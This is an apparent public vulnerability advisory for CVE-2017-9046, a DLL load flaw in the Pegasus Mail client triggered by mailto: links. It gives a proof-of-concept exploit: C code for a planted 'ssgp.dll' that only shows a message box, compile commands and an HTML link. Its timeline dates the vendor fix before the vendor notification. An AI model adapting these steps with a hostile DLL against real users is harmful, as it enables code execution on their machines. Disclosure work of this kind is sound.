Pegasus 4.72 Build 572 Remote Code Execution
Posted on 20 May 2017
[+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/PEGASUS-MAILTO-LINK-REMOTE-CODE-EXECUTION.txt [+] ISR: APPARITIONSEC Vendor: ============= www.pmail.com Product: ===================== Pegasus "winpm-32.exe" v4.72 build 572 Pegasus Mail: Pegasus Mail is a free, standards-based electronic mail client suitable for use by single or multiple users on single computers or on local area networks. A proven product, it has served millions of users since it was released in 1990. Vulnerability Type: ====================== Remote Code Execution CVE Reference: ============== CVE-2017-9046 Security Issue: ================ Pegasus Mail has a DLL Load Flaw that allows arbitrary code execution by clicking an HTML "mailto:" link if a DLL named "ssgp.dll" exists on the victims Desktop. Tested successfully using Internet Explorer Web Browser. e.g. <a href="mailto:name@victim.com">Link text</a> Place "ssgp.dll" on the desktop then visit the webpage in "Internet Explorer", click the mailto: link arbitrary code executed and Pegasus (pmail) is then launched. User needs to have setup PMAIL with "mailto:" link option on install. Exploit: ======== 1) Set Pegasus as default Email client for opening Emails, and setup PMAIL with "mailto:" link option on install. 2) Compile "ssgp.dll" as DLL using below 'C' code. #include<windows.h> //gcc -c ssgp.c //gcc -shared -o ssgp.dll ssgp.o BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){ switch (reason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, "Code Execution!", "APPARITIONSEC", MB_OK); break; } return 0; } 3) Place "ssgp.dll" on Desktop 4) Create an HTML file with following in the web server root directory. <a href="mailto:name@victim.com">Pegasus Exploit POC</a> 5) Open webpage in InternetExplorer Web Browser and click malicious mailto: link. Our code gets executed... Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ===================================== Vendor Notification: October 8, 2016 Vendor supposedly fixed: January 21, 2016 May 19, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
